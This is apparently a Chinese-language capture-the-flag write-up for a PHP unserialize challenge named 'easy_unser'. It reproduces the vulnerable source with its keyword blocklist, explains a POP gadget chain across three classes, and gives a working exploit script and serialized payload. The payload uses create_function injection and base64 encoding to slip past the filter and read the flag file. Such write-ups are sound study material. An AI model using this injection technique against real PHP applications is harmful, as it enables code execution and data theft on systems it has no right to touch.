题目链接:http://49.235.124.64:23111/

题目 :easy_unser

<?php
error_reporting(0);
highlight_file(__FILE__);
class name1{
    public $var;
    public function show(){
        echo $this->var;
}
    public function __destruct(){
        $this->show();
    }
}
class name2{
    public $var;
    public function show(){
        $this->var->show();
    }

    public function __toString()
    {
        $this->show();
       return "";
    }
}
class name3{
    public $func;
    public $arg;
    public function show()
    {
        if ($this->func == 'hint'){
            echo 'It\'s not very difficult,but let me give you a hint!'.'<br>';
            require 'f1ag_T10.php';
            echo $hint.'<br>';
        }
        if(preg_match('/^[a-z0-9]*$/isD',$this->func)||preg_match('/f1ag_T10|fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|flag|print|echo|read|inc|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i',$this->arg)){
            die('Thank you for everything!');
        }else{
            //flag in f1ag_T10.php
            $func = $this->func;
            $func('',$this->arg);
        }
    }
}



if(isset($_GET['a'])){
    $a = unserialize($_GET['a']);
}

1、代码审计

首先有三个类 name1,name2,name3 然后一个 47行开始执行代码

什么是反序列化我就不讲了。 分析三个类

name1中 有个 var 的成员变量 show()的成员方法 在这个方法 中 ehco 输出了 成员变量 var,还有一个方法重载 __destruct() 魔法方法 这个方法是在对象被销毁时触发

name2 中 ,我就讲关键信息 在 show 方法中 $this->var->show(); 这个关键代码 但是目前我们不知道他是干什么的,然后 就是魔法方法 __toString() 执行了成员变量 toString 是在对象被当作字符串输出时触发 (这里其实很明显了,name1 show方法输出了成员变量var ,我们就可以将name1的var 当做 name2的对象 输出一下触发 toString )

name3 两个成员变量一个show()方法 ,在这里面当 func ,arg 两个成员变量满足一定条件会触发

$func = $this->func; $func('',$this->arg); 而这两个成员变量我们是可以控制他是什么的

unserialize 触发反序列

2、pop链构造

我们说了要实现 39 40 行的这两个代码就必须实现name3的show() 而要实现name3的show() 就必须将name2中的var 指定成name3的对象 通过name2的show() 方法执行 而要执行name2的show()必须执行 __toString()魔法方法 而 __ toString 是在对象被当成字符串时触发,就是name1中的show()方法 写一下关系链

(39,40)<-(条件过滤)<-name3::show() <- name2::show()<-name2::__toString()<-name1::show()<-name1::__destruct()
<?php
class name1{
    public $var;
}
class name2{
    public $var;
}
class name3{
    public $func;
    public $arg;
}
$a =new name1(); //创建name1的对象
$a->var = new name2(); //(将name1的成员变量var 当作name2的对象) 创建name2的对象
$a->var->var = new name3(); //创建name3的对象
// 能够到这里就成功一半了

3、分析条件过滤

两个if一句 前面一条一句 如果 func == 'hint' 一看就是提示哈 暂时不管 第二个if

if(preg_match('/^[a-z0-9]*$/isD',$this->func)||preg_match('/f1ag_T10|fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|flag|print|echo|read|inc|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i',$this->arg)){
            die('Thank you for everything!');
}else{
//flag in f1ag_T10.php
$func = $this->func;
$func('',$this->arg);
}

代码有点长 不过结构很简单

转换一下

if(条件1||条件2){
die('Thank you for everything!');
}else{
$func = $this->func;
$func('',$this->arg);
}

一目了然,然后再来逐个分析条件1 和条件2 两个取并 意思是 任意一个条件 为真都会执行die('Thank you for everything!'); 这不是我们想看到的所以必须两个都为假

条件1:(preg_match('/^[a-z0-9]*$/isD',$this->func) preg_match() 正则匹配方法 怎么用的你们手中的php手册查一下 匹配成功返回True 否则False 我们需要匹配不成功 意思就是 func 成员变量不满足 /^[a-z0-9]*$/isD 这个条件 那么这个条件是什么意思呢

^ 表示字符串开始匹配

$ 表示结尾的意思

[a-z0-9] 表示小写字母a-z数字0-9

* 表示对前面的进行0次或多次匹配

isD 表示模式 i 不区分大小写 s 模式中的圆点元字符(.)匹配所有的字符,包括换行符 D表示修正的这里对题没有影响

意思就是从字符串开始到结尾全是由字母和数字组成的话 就 匹配成功 要想绕过就很明显了 只要保证不全是字母和数字即可

(这里可以去学习一下php的正则匹配)

条件2:| “或”操作。所以 i是不区分大小写 意思说arg 如何是这次字符串就会匹配成功 所以说 我们不能是这些字符串构成

4、分析 39 40 行代码

$func = $this_func 表示将成员变量 func 赋值给新的func 变量 前者是变量 后者是成员变量 这两个东西不一样哈

40行,在php中如果 是 变量名() 这种形式会把这个当成函数来执行,什么函数取决于这个func的值是什么。括号里面是函数的参数两个一个为 ''一个为$this->arg成员变量 想到这在php中的系统函数有两个参数的不多 最容易想到的就是 create_function ,如果你实在想不到这里还有个hint 不是吗

而且 create_function 这个看名字就知道是创造函数用的 第一个参数表示创造的函数 需要的参数,第二个是函数组体 但是这仅仅只是创建根本无法达到我们想要的结果

可以去网上找到一下create_function漏洞的原理哈

3、我们的序列化脚本

<?php
class name1{
    public $var;
}
class name2{
    public $var;
}
class name3{
    public $func;
    public $arg;
}
$a =new name1();
$a->var = new name2();
$a->var->var = new name3();

$a->var->var->func ='create_function';
$a->var->var->arg ='}require(base64_decode(ZjFhZ19UMTAucGhw));var_dump(get_defined_vars());//';
echo serialize($a);
//var_dump(base64_encode('f1ag_T10.php'));

//output :   O:5:"name1":1:{s:3:"var";O:5:"name2":1:{s:3:"var";O:5:"name3":2:{s:4:"func";s:15:"create_function";s:3:"arg";s:73:"}require(base64_decode(ZjFhZ19UMTAucGhw));var_dump(get_defined_vars());//";}}}

image-20211114202925181

flag就出来了 很简单哈

Q.E.D.